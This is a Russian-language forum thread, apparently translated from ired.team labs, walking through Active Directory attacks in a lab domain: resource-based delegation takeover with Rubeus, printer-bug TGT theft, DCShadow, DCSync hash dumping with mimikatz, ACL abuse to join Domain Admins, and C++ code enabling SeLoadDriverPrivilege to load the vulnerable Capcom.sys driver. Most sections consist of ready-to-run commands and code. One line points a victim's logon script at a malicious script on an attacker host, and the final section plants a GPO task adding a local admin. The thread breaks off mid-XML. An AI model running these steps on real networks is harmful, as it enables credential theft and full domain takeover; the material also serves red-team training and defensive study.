- WS01 доверяет FAKE01 из-за измененного msDS-AllowedToActOnBehalfOfOtherIdentity;

- Мы запрашиваем билеты Kerberos для FAKE01$ с возможностью выдавать себя за offense\spotless , который является администратором домена;

- Профит - теперь мы можем получить доступ к шаре c$ ws01 с компьютера ws02.

Сравнение делегирования Kerberos и делегирования Kerberos на основе ресурсов

- При неограниченном и ограниченном делегировании Kerberos компьютеру/пользователю сообщается, каким ресурсам он может делегировать аутентификацию;

- В делегировании Kerberos на основе ресурсов компьютеры (ресурсы) указывают, кому они доверяют и кто может делегировать им аутентификацию.

Требования

Поскольку атака повлечет за собой создание нового объекта-компьютера в домене, давайте проверим, разрешено ли это делать пользователям — по умолчанию член домена обычно может добавить в домен до 10 компьютеров. Чтобы проверить это, мы можем запросить объект корневого домена и найти свойство ms-ds-machineaccountquota.

Get-DomainObject -Identity "dc=offense,dc=local" -Domain offense.local

Атака также требует, чтобы контроллер домена работал под управлением как минимум Windows 2012, поэтому давайте проверим, правильно ли мы находимся:

Get-DomainController

Последнее, что нужно проверить — у объекта WS01 целевого компьютера не должен быть установлен атрибут msds-allowedtoactonbehalfofotheridentity:

Get-NetComputer ws01 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

Это атрибут, на который ссылается приведенная выше команда:

Создание нового объекта Компьютер

Давайте теперь создадим новый объект компьютера для нашего компьютера FAKE01 (как указано ранее в таблице требований) — это компьютер, которому позже будет доверять наш целевой компьютер WS01:

import-module powermad
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Проверяем, создан ли компьютер, и отмечаем его SID:

Get-DomainComputer fake01
# computer SID: S-1-5-21-2552734371-813931464-1050690807-1154

Создайте новый необработанный дескриптор безопасности для принципала компьютера FAKE01:

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BADA;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2552734371-813931464-1050690807-1154)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

Изменение объекта AD целевого компьютера

Применение байтов дескриптора безопасности к целевой машине WS01:

Get-DomainComputer ws01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

Напоминаем, что мы смогли написать это, потому что offense\Sandy входит в группу безопасности offense\Operations , которая имеет полный контроль над целевым компьютером WS01$, хотя единственной/достаточной важной является привилегия ЗАПИСЬ:

Если бы у нашего пользователя не было необходимых привилегий, вы могли бы сделать вывод из подробного сообщения об ошибке:

Как только msDS-AllowedToActOnBehalfOfOtherIdentitity установлен, он отображается здесь:

То же самое можно увидеть так:

Get-DomainComputer ws01 -Properties 'msds-allowedtoactonbehalfofotheridentity'

Мы можем проверить, относится ли дескриптор безопасности, назначенный компьютеру ws01 в атрибуте msds-allowedtoactonbehalfofotheridentity, к машине fake01$:

(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl

Обратите внимание, что SID относится к S-1-5-21-2552734371-813931464-1050690807-1154, который является SID машины fake01$ — именно таким, каким мы хотим его видеть:

Выполнение

Генерация хэша RC4

Давайте сгенерируем хэш RC4 пароля, который мы установили для компьютера FAKE01:

\\VBOXSVR\Labs\Rubeus\Rubeus\bin\Debug\Rubeus.exe hash /password:123456 /user:fake01 /domain:offense.local

Олицетворение

Получив хэш, мы можем попытаться выполнить атаку, запросив билет kerberos для fake01$ с возможностью выдать себя за spotless пользователя, который является администратором домена:

\\VBOXSVR\Labs\Rubeus\Rubeus\bin\Debug\rubeus.exe s4u /user:fake01$ /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:spotless /msdsspn:cifs/ws01.offense.local /ptt

К сожалению, в своих лабораториях мне сначала не удалось воспроизвести атаку, хотя, по словам rubeus, все необходимые билеты kerberos были созданы успешно — я не смог получить удаленного администратора на целевой системе ws01:

В очередной раз проверка kerberos-тикетов в системе показала, что у меня есть TGS-тикет для spotless для службы CIFS по адресу ws01.offense.local, но атака все равно не сработала:

Метод проб и ошибок

Посоветовавшись с парой человек, которые успешно смоделировали эту атаку в своих лабах, мы так и не смогли понять, в чем проблема. Повторяя атаку снова и снова и выполняя различные другие шаги по устранению неполадок, я наконец нашел, в чем проблема.

Обратите внимание, что билет предназначен для имени участника-службы cifs/ws01.offense.local, и мы получаем отказ в доступе при попытке доступа к удаленным административным ресурсам ws01:

Захыватываем компьютер

Обратите внимание, однако, если мы запросим билет для SPN cifs/ws01 — теперь мы можем получить доступ к ресурсу C$ ws01, что означает, что у нас есть права администратора в целевой системе WS01:

\\VBOXSVR\Tools\Rubeus\Rubeus.exe s4u /user:fake01$ /domain:offense.local /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:spotless /msdsspn:http/ws01 /altservice:cifs,host /ptt

Чтобы дополнительно доказать, что у нас есть права администратора, мы можем записать простой файл из ws02 в ws01 в c:\users\administrator:

Кроме того, проверьте, можем ли мы удаленно выполнить код с помощью нашего друга psexec:

\\vboxsvr\tools\PsExec.exe \\ws01 cmd

Обратите внимание, что права offense\spotless действуют только в целевой системе, т.е. в системе, которая делегировала (WS01) другой компьютерный ресурс (FAKE01) для действия от имени цели (WS01) и позволяет выдавать себя за любого пользователя домена.

Другими словами, атака может выполнять код/команды как offense\spotless только на машине WS01, а не на какой-либо другой машине в домене.

 

[yashechka]

10. Компрометация домена через сервер печати DC и делегирование Kerberos

В этом лабораторном занятии демонстрируется атака на контроллер домена Active Directory (или любой другой хост, если быть честным), которая включает следующие шаги и условия среды:

- Злоумышленник должен скомпрометировать систему, в которой разрешено неограниченное делегирование Kerberos.

- Злоумышленник находит жертву, которая запускает сервер печати. В этой лабораторной работе это оказался контроллер домена.

- Злоумышленник принуждает контроллер домена попытаться пройти аутентификацию на узле, контролируемом злоумышленником, на котором включено неограниченное делегирование Kerberos.

– Это делается через RPC API (https://msdn.microsoft.com/en-us/library/cc244813.aspx), который позволяет печатать клиентам подписаться на уведомления об изменениях на сервере печати.

– После вызова API контроллер домена пытается пройти аутентификацию на скомпрометированном хосте, раскрывая свой TGT скомпрометированной системе, контролируемой злоумышленником.

- Злоумышленник извлекает TGT DC01 из скомпрометированной системы и выдает себя за DC, чтобы провести атаку DCSync и сбросить хэши членов домена.

Эта лабораторная работа основана на (https://www.ired.team/offensive-sec...mpromise-via-unrestricted-kerberos-delegation) .

Выполнение

Наша среда для этой лаборатории:

-ws01 — скомпрометированный злоумышленником хост с включенным делегированием kerberos (атакующий, сервер)

-dc01 — контроллер домена, на котором запущена служба печати (жертва, цель)

Мы можем проверить, работает ли служба спулинга на удаленном хосте, следующим образом:

ls \\dc01\pipe\spoolss

Если бы spoolss не работал, мы бы получили ошибку.

Другой способ проверить, запущен ли spoolss на удаленной машине:

Теперь, после компиляции удивительного PoC (https://github.com/leechristensen/SpoolSample или https://twitter.com/tifkin_), мы выполняем его с двумя аргументами target и server (DC с работающим на нем spoolss):

.\SpoolSample.exe dc01 ws01

Нам показывают сообщение о том, что цель попыталась пройти аутентификацию в нашей скомпрометированной системе, поэтому давайте проверим, можем ли мы получить DC01 TGT:

mimikatz # sekurlsa:ickets

Мы действительно получили TGT для компьютера DC01$!

Таким образом, мы можем сделать нашу скомпрометированную систему ws01$ похожей на контроллер домена и извлечь хеш NTLM для пользователя offense\spotless, который, как мы знаем, имеет высокие привилегии в домене:

mimikatz # lsadump::dcsync /domain:offense.local /user:spotless

Вышеприведенное ясно показывает, что атака была успешной, и был получен NTLM-хеш для пользователя spotless — приступайте к его взлому .

Защита

Для защитный действий см. раздел https://www.ired.team/offensive-sec...a-unrestricted-kerberos-delegation#mitigation

 

[yashechka]

11.DCShadow — стать мошенническим контроллером домена

DCShadow позволяет злоумышленнику с достаточными привилегиями создать мошеннический контроллер домена и отправить изменения в объекты DC Active Directory.

Выполнение

Для этой лабораторной работы требуются две оболочки — одна с правами SYSTEM, а другая с привилегиями члена домена, входящего в группу администраторов домена:

В этой лабораторной работе я попытаюсь обновить объект AD компьютера pc-w10$. Быстрый способ увидеть некоторые из его связанных свойств может быть достигнут с помощью следующей оболочки:

PS c:\> ([adsisearcher]"(&(objectCategory=Computer)(name=pc-w10))").Findall().Properties

Обратите внимание на свойство badpwcount, которое мы попытаемся изменить с помощью DCShadow, установив значение 9999:

mimikatz # lsadump::dcshadow /object:pc-w10$ /attribute:badpwdcount /value=9999

Теперь мы можем отправить изменение на основной контроллер домена DC-MANTVYDAS:

lsadump::dcshadow /push

Ниже приведены скриншоты вышеуказанных команд и их выходных данных, а также конечный результат, показывающий, что значение badpwcount изменяется на 9999:

Наблюдения

По предложению Винсента Ле Ту, который выступил со-презентатором (

),чтобы обнаружить этот тип мошеннической активности, вы можете отслеживать сетевой трафик и подозревать любые хосты, не относящиеся к контроллеру домена (в нашем случае это PC-W10$ с 10.0.0.7), отправляющие запросы RCP к контроллерам домена (в нашем случае DC-MANTVYDAS с 10.0.0.6), как показано ниже:

То же самое и для журналов: если вы видите хост, не являющийся контроллером домена, из-за которого контроллер домена регистрирует событие 4929 (подробная репликация службы каталогов), вы можете выяснить, что еще происходит в этой системе:

Текущая реализация DCShadow в mimikatz создает новый контроллер домена и удаляет связанные с ним объекты после завершения отправки в течение короткого промежутка времени, и этот шаблон потенциально может использоваться для запуска предупреждения, поскольку создание нового контроллера домена, модификации связанных объектов и их удаление все происходит в 1-2 секунды, временные рамки звучат аномально. События 4662 могут быть полезны для определения этого:

Согласно сообщению (https://blog.alsid.eu/@lucd?source=post_header_lockup) в объяснении DCShadow, еще одно предложение по обнаружению мошеннических контроллеров домена заключается в том, что компьютеры, предоставляющие службу RPC с идентификатором GUID E3514235–4B06–11D1- AB04–00C04FC2DCD2, но не принадлежат организационному подразделению контроллеров домена, должны быть исследованы.

Мы видим, что наш подозрительный компьютер предоставляет именно этот сервис:

..но не принадлежит OU контроллеров домена:

([adsisearcher]"(&(objectCategory=computer)(name=pc-w10))").Findall().Properties.distinguishedname
# or (Get-ADComputer pc-w10).DistinguishedName

 

[yashechka]

12.DCSync: дамп хэшей паролей с контроллера домена

В этом практическом занятии показано, как можно злоупотреблять неправильно настроенными разрешениями объекта домена AD для создания дампа хэшей паролей контроллера домена с помощью метода DCSync с помощью mimikatz.

Известно, что указанные ниже разрешения могут быть использованы для синхронизации учетных данных с контроллера домена:

-Расширенное право https://msdn.microsoft.com/en-us/library/ms684354(v=vs.85).aspx

– CN: DS-Replication-Get-Changes

– GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2

- Расширенное право https://msdn.microsoft.com/en-us/library/ms684355(v=vs.85).aspx

– CN: DS-Replication-Get-Changes-All

– GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

- Расширенное право https://msdn.microsoft.com/en-us/library/hh338663(v=vs.85).aspx (это не всегда нужно, но мы можем добавить его на всякий случай

– CN: DS-Replication-Get-Changes-In-Filtered-Set

– GUID: 89e95b76-444d-4c62-991a-0facbeda640c

http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/

Выполнение

Проверяя права доступа domain.local, можно заметить, что у пользователя spotless пока нет особых прав:

Используя PowerView, мы можем предоставить пользователю spotless 3 права, которые позволят ему получать хэши паролей из контроллера домена:

Add-ObjectACL -PrincipalIdentity spotless -Rights DCSync

Ниже показана приведенная выше команда, а также доказывается, что Spotless не принадлежит ни к какой привилегированной группе:

Однако, проверив привилегии объекта домена offense.local сейчас, мы можем увидеть 3 новых добавленных права, связанных с репликацией каталога:

Давайте узнаем SID пользователя spotless с помощью whoami /all:

Используя powerview, давайте проверим, что пользователь spotless S-1-5-21-2552734371-813931464-1050690807-1106 имеет те же привилегии, что и выше, используя графический интерфейс:

Get-ObjectAcl -Identity "dc=offense,dc=local" -ResolveGUIDs | ? {$_.SecurityIdentifier -match "S-1-5-21-2552734371-813931464-1050690807-1106"}

Кроме того, мы можем добиться того же результата без PowerView, если у нас есть доступ к модулю AD Powershell:

Import-Module ActiveDirectory
(Get-Acl "ad:\dc=offense,dc=local").Access | ? {$_.IdentityReference -match 'spotless' -and ($_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "89e95b76-444d-4c62-991a-0facbeda640c" ) }

Чтобы узнать, как получить модуль AD без прав администратора смотрите ту статью https://www.ired.team/offensive-sec...th-ad-module-without-rsat-or-admin-privileges .

Хэши DCSyncing

Поскольку у пользователя spotless теперь есть необходимые привилегии для использования DCSync, мы можем использовать mimikatz для дампа хэшей паролей из DC через:

lsadump::dcsync /user:krbtgt

 

[yashechka]

13.PowerView: перечисление Active Directory

В этом лабораторном занятии исследуется несколько распространенных командлетов PowerView, которые позволяют перечислять Active Directory/Domain.

Get-NetDomain

Получает текущий домен пользователя:

Get-NetForest

Получает информацию о лесе, в котором находится домен текущего пользователя:

Get-NetForestDomain

Получает все домены леса, в котором находится текущий пользователь:

Get-NetDomainController

Получает информацию о DC домена, к которому принадлежит текущий пользователь:

Get-NetGroupMember

Получает список членов домена, принадлежащих к данной группе:

Get-NetLoggedon

Получает пользователей, которые вошли в систему на данном компьютере:

Get-NetDomainTrust

Перечисляет доверительные отношения домена текущего пользователя:

Get-NetForestTrust

Перечисляет доверительные отношений между лесами с точки зрения текущего домена:

Get-NetProcess

Получает запущенные процессы для данной удаленной машины:

Get-NetProcess -ComputerName dc01 -RemoteUserName offense\administrator -RemotePassword 123456 | ft

Invoke-MapDomainTrust

Перечисляет и сопоставляет все доверительные отношения домена:

Invoke-ShareFinder

Перечисляет общие ресурсы на данном ПК — можно легко комбинировать с другими сценариями для перечисления всех машин в домене:

Invoke-UserHunter

Находит компьютеры в домене или пользователей на данном компьютере, которые вошли в систему:

 

[yashechka]

14. Злоупотребление ACL/ACE Active Directory

Контекст

Эта лабораторная работа предназначена для злоупотребления слабыми разрешениями списков управления доступом на уровне пользователей (DACL) Active Directory и записей управления доступом (ACE), которые составляют DACL.

Объекты Active Directory, такие как пользователи и группы, являются защищаемыми объектами, а DACL/ACE определяют, кто может читать/изменять эти объекты (например, изменять имя учетной записи, сбрасывать пароль и т. д.).

Пример ACE для защищаемого объекта «Администраторы домена» можно увидеть здесь:

Некоторые из разрешений и типов объектов Active Directory, которые интересуют нас как злоумышленников:

- GenericAll - полные права на объект (добавление пользователей в группу или сброс пароля пользователя)

- GenericWrite — обновить атрибуты объекта (например, сценарий входа)

- WriteOwner - сменить владельца объекта на пользователя, контролируемого злоумышленником, который завладеет объектом

- WriteDACL — изменить ACE объекта и дать злоумышленнику полный контроль над объектом

- AllExtendedRights - возможность добавить пользователя в группу или сбросить пароль

- ForceChangePassword - возможность изменить пароль пользователя

- Self (Self-Membership) - возможность добавить себя в группу

В этой лабораторной работе мы собираемся изучить и попытаться использовать большинство из вышеперечисленных ACE.

Выполнение

GenericAll для пользователя

Используя powerview, давайте проверим, имеет ли наш атакующий пользователь spotless права GenericAll на объект AD для делегата пользователя:

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

Мы видим, что действительно наш пользователь spotless имеет права GenericAll, что позволяет злоумышленнику завладеть учетной записью:

Мы можем сбросить пароль пользователя delegate , не зная текущего пароля:

GenericAll on Group

Давайте посмотрим, есть ли слабые права у группы администраторов домена. Прежде всего, давайте получим его distinguishedName :

Get-NetGroup "domain admins" -FullData

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}

Мы видим, что наш атакующий пользователь spotless снова имеет права GenericAll:

По сути, это позволяет нам добавить себя (безукоризненного пользователя) в группу администраторов домена:

net group "domain admins" spotless /add /domain

https://2603957456-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LQmiPt4uZmkID4t36ha%2F-LQmn2GTsTnPY3SQCslO%2FPeek%202018-11-08%2010-07.gif?alt=media&token=d24110bc-b5de-4bd9-a7be-5401f5588c16

То же самое может быть достигнуто с помощью модуля Active Directory или PowerSploit:

# with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless

# with Powersploit
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"

GenericAll / GenericWrite / Запись на компьютер

Если у вас есть эти привилегии для объекта «Компьютер», вы можете получить ограниченное делегирование на основе ресурсов Kerberos: перехват компьютерных объектов https://www.ired.team/offensive-sec...object-take-over-and-privilged-code-execution.

WriteProperty в группе

Если у нашего контролируемого пользователя есть право WriteProperty на все объекты для группы администраторов домена:

Мы можем снова добавить себя в группу Администраторов домена и повысить привилегии:

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

Самочленство в группе

Еще одна привилегия, позволяющая злоумышленнику добавлять себя в группу:

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

WriteProperty (Самочленство)

Еще одна привилегия, позволяющая злоумышленнику добавлять себя в группу:

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

net group "domain admins" spotless /add /domain

ForceChangePassword

Если у нас есть ExtendedRight для типа объекта User-Force-Change-Password, мы можем сбросить пароль пользователя, не зная его текущего пароля:

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

Делаем то же самое с powerview:

Set-DomainUserPassword -Identity delegate -Verbose

Еще один метод, не требующий возни с преобразованием пароля в защищенную строку:

$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose

... или ванлайнер, если интерактивный сеанс недоступен:

WriteOwner в группе

Обратите внимание, что до атаки владельцем администраторов домена были администраторы домена.

После перечисления ACE, если мы обнаружим, что пользователь в нашем элементе управления имеет права WriteOwner на ObjectType: All

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

... мы можем изменить владельца объекта Domain Admins на нашего пользователя, что в нашем случае безупречно. Обратите внимание, что SID, указанный с параметром -Identity, является SID группы администраторов домена:

Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose

GenericWrite для пользователя

Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

WriteProperty для ObjectType, которым в данном конкретном случае является Script-Path, позволяет злоумышленнику перезаписать путь сценария входа пользователя-делегата, что означает, что в следующий раз, когда пользователь-делегат войдет в систему, его система выполнит наш вредоносный скрипт :

Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"

Ниже показано, как поле сценария регистрации делегата пользователя было обновлено в AD:

WriteDACL + WriteOwner

Если вы являетесь владельцем группы, например, я являюсь владельцем группы Test AD:

Что вы, конечно, можете сделать через powershell:

([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value

И у вас есть WriteDACL для этого объекта AD:

... вы можете дать себе привилегии GenericAll с помощью колдовства ADSI:

$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()

Это означает, что теперь вы полностью контролируете объект AD:

Фактически это означает, что теперь вы можете добавлять новых пользователей в группу.

Интересно отметить, что я не мог злоупотреблять этими привилегиями с помощью модуля Active Directory и командлетов Set-Acl/Get-Acl:

$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
$acl = Get-Acl -Path $path
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
$acl.AddAccessRule($ace)
Set-Acl -Path $path -AclObject $acl

 

[Grates]

Лайки закончились поэтому так - спасибо за работу!

 

[yashechka]

15. Привилегированные учетные записи и привилегии токенов

Администраторы, администраторы домена, администраторы предприятия — это хорошо известные группы AD, которые позволяют повышать привилегии, к которым пентестеры и сотрудники Red Team будут стремиться в своих обязательствах, но есть и другие членства в учетных записях и привилегии токена доступа, которые также могут быть полезны во время оценки безопасности привыполнении несколько векторов атаки.

Операторы аккаунтов

- Позволяют создавать учетные записи и группы без прав администратора в домене.
- Позволяют войти в DC локально

Обратите внимание на членство пользователя spotless :

Однако мы все еще можем добавить новых пользователей:

А также войти в DC01 локально:

Операторы сервера

Это членство позволяет пользователям настраивать контроллеры домена со следующими привилегиями:

- Разрешать локальный вход
- Резервное копирование файлов и каталогов
- Изменять системное время
- Изменять часовой пояс
- Принудительное отключать из удаленной системы
- Восстанавливать файлы и каталоги
- Выключать систему

Обратите внимание, что мы не можем получить доступ к файлам на контроллере домена с текущим членством:

Однако, если пользователь принадлежит Операторам Сервера:

Сюжет меняется:

Операторы резервного копирования

Как и в случае с членством в качестве операторов сервера, мы можем получить доступ к файловой системе DC01, если мы принадлежим к операторам резервного копирования:

SeLoadDriverPrivilege

Очень опасная привилегия для любого пользователя — она позволяет пользователю загружать драйверы ядра и выполнять код с привилегиями ядра, также известными как NT\System. Посмотрите, как offense\spotless имеет эту привилегию:

Whoami /priv показывает, что привилегия отключена по умолчанию:

Однако приведенный ниже код позволяет довольно легко включить эту привилегию:

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>

int main()
{
    TOKEN_PRIVILEGES tp;
    LUID luid;
    bool bEnablePrivilege(true);
    HANDLE hToken(NULL);
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

    if (!LookupPrivilegeValue(
        NULL,            // lookup privilege on local system
        L"SeLoadDriverPrivilege",   // privilege to lookup
        &luid))        // receives LUID of privilege
    {
        printf("LookupPrivilegeValue error: %un", GetLastError());
        return FALSE;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    
    if (bEnablePrivilege) {
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    }
    
    // Enable the privilege or disable all privileges.
    if (!AdjustTokenPrivileges(
        hToken,
        FALSE,
        &tp,
        sizeof(TOKEN_PRIVILEGES),
        (PTOKEN_PRIVILEGES)NULL,
        (PDWORD)NULL))
    {
        printf("AdjustTokenPrivileges error: %x", GetLastError());
        return FALSE;
    }

    system("cmd");
    return 0;
}

Мы компилируем вышеуказанный код, выполняем, и привилегия SeLoadDriverPrivilege теперь включена:

Эксплойт драйвера Capcom.sys

Чтобы еще раз доказать опасность SeLoadDriverPrivilege, давайте воспользуемся ею для повышения привилегий.

Давайте продолжим предыдущий код и воспользуемся вызовом Win32 API ntdll.NtLoadDriver() для загрузки вредоносного драйвера ядра Capcom.sys. Обратите внимание, что строки 55 и 56 файла привилегий.cpp:

PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
PCWSTR pPathSourceReg = L"\\registry\\machine\\System\\CurrentControlSet\\Services\\SomeService";

Сперва объявляется строковая переменная, указывающая, где находится уязвимый драйвер Capcom.sys в системе-жертве, а вторая — строковую переменную, указывающую имя службы, которая будет использоваться (может быть любой службой) при выполнении эксплойта:

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>
#include <stdlib.h>
#include <locale.h>
#include <iostream>
#include "stdafx.h"

NTSTATUS(NTAPI *NtLoadDriver)(IN PUNICODE_STRING DriverServiceName);
VOID(NTAPI *RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
NTSTATUS(NTAPI *NtUnloadDriver)(IN PUNICODE_STRING DriverServiceName);

int main()
{
    TOKEN_PRIVILEGES tp;
    LUID luid;
    bool bEnablePrivilege(true);
    HANDLE hToken(NULL);
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

    if (!LookupPrivilegeValue(
        NULL,            // lookup privilege on local system
        L"SeLoadDriverPrivilege",   // privilege to lookup
        &luid))        // receives LUID of privilege
    {
        printf("LookupPrivilegeValue error: %un", GetLastError());
        return FALSE;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    
    if (bEnablePrivilege) {
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    }
    
    // Enable the privilege or disable all privileges.
    if (!AdjustTokenPrivileges(
        hToken,
        FALSE,
        &tp,
        sizeof(TOKEN_PRIVILEGES),
        (PTOKEN_PRIVILEGES)NULL,
        (PDWORD)NULL))
    {
        printf("AdjustTokenPrivileges error: %x", GetLastError());
        return FALSE;
    }

    //system("cmd");
    // below code for loading drivers is taken from https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/RDI/dll/NtLoadDriver.h
    std::cout << "[+] Set Registry Keys" << std::endl;
    NTSTATUS st1;
    UNICODE_STRING pPath;
    UNICODE_STRING pPathReg;
    PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
    PCWSTR pPathSourceReg = L"\\registry\\machine\\System\\CurrentControlSet\\Services\\SomeService";
    const char NTDLL[] = { 0x6e, 0x74, 0x64, 0x6c, 0x6c, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };
    HMODULE hObsolete = GetModuleHandleA(NTDLL);
    *(FARPROC *)&RtlInitUnicodeString = GetProcAddress(hObsolete, "RtlInitUnicodeString");
    *(FARPROC *)&NtLoadDriver = GetProcAddress(hObsolete, "NtLoadDriver");
    *(FARPROC *)&NtUnloadDriver = GetProcAddress(hObsolete, "NtUnloadDriver");

    RtlInitUnicodeString(&pPath, pPathSource);
    RtlInitUnicodeString(&pPathReg, pPathSourceReg);
    st1 = NtLoadDriver(&pPathReg);
    std::cout << "[+] value of st1: " << st1 << "\n";
    if (st1 == ERROR_SUCCESS) {
        std::cout << "[+] Driver Loaded as Kernel..\n";
        std::cout << "[+] Press [ENTER] to unload driver\n";
    }

    getchar();
    st1 = NtUnloadDriver(&pPathReg);
    if (st1 == ERROR_SUCCESS) {
        std::cout << "[+] Driver unloaded from Kernel..\n";
        std::cout << "[+] Press [ENTER] to exit\n";
        getchar();
    }

    return 0;
}

Как только приведенный выше код скомпилирован и выполнен, мы видим, что наш вредоносный драйвер Capcom.sys загружается в систему жертвы:

Теперь мы можем загрузить и скомпилировать эксплойт Capcom с (https://github.com/tandasat/ExploitCapcom) и запустите его в системе, чтобы повысить наши привилегии до NT Authority\System:

Делегация объекта групповой политики

Иногда некоторым пользователям/группам может быть делегирован доступ для управления объектами групповой политики, как в случае с пользователем offense\spotless :

Мы можем увидеть это, используя PowerView следующим образом:

Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

В приведенном ниже примере указано, что пользователь offense\spotless имеет привилегии WriteProperty, WriteDacl, WriteOwner среди нескольких других, которые созрели для злоупотреблений:

Дополнительные сведения об общих злоупотреблениях AD ACL/ACE см. в лабе:

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces

Злоупотребление разрешениями GPO

Мы знаем, что указанное выше ObjectDN из приведенного выше скриншота относится к новому объекту групповой политики GPO, поскольку ObjectDN указывает на CN=Policies, а также на CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}, который совпадает с настройками GPO как показано ниже:

Если мы хотим конкретно искать неправильно сконфигурированные объекты групповой политики, мы можем связать несколько командлетов из PowerSploit следующим образом:

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

Компьютеры с заданной политикой

Теперь мы можем разрешить имена компьютеров, к которым применяется политика неправильной настройки GPO:

Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}

Политики, применяемые к данному компьютеру

Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName

OU с примененной заданной политикой

Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName

Злоупотребление слабыми разрешениями GPO

Один из способов злоупотребить этой неправильной конфигурацией и добиться выполнения кода — создать немедленную запланированную задачу через объект групповой политики следующим образом:

New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force

Вышеупомянутое добавит нашего пользователя spotless в группу локальных администраторов скомпрометированного ящика. Обратите внимание, что до выполнения кода в группе не было пользователя spotless:

Принудительное обновление политики

ScheduledTask и его код будут выполняться после того, как будут исполняться обновления политики (примерно каждые 90 минут), но мы можем принудительно выполнить его с помощью gpupdate /force и увидеть, что наш пользователь spotless теперь принадлежит к группе локальных администраторов:

Under the hood

Если мы посмотрим на запланированные задачи объекта неправильной настройки политики, мы увидим, что наша задача evilTask находится там:

Ниже приведен XML-файл, созданный New-GPOImmediateTask, который представляет нашу злонамеренную запланированную задачу в GPO:

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
